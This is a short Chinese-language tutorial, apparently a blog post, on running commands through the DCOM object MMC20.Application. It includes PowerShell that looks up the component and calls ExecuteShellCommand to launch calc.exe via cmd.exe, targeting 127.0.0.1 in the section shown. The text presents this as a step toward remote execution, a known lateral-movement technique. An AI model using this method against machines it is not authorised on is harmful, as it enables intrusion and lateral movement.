利用DCOM实现远程命令执行

1.前言

实现命令执行的方式之前我写过文章来总结，前两天又发现了一个新方法DCOM，于是有了这篇文章。

2.实现过程

2.1通过DCOM在本机执行命令

实现条件：

1. 管理员权限的powershell
2. 查找DCOM组件MMC Application Class如下图，命令为

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}

命令：

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

ExecuteShellCommand对应的参数具体含义可参考以下链接：
https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx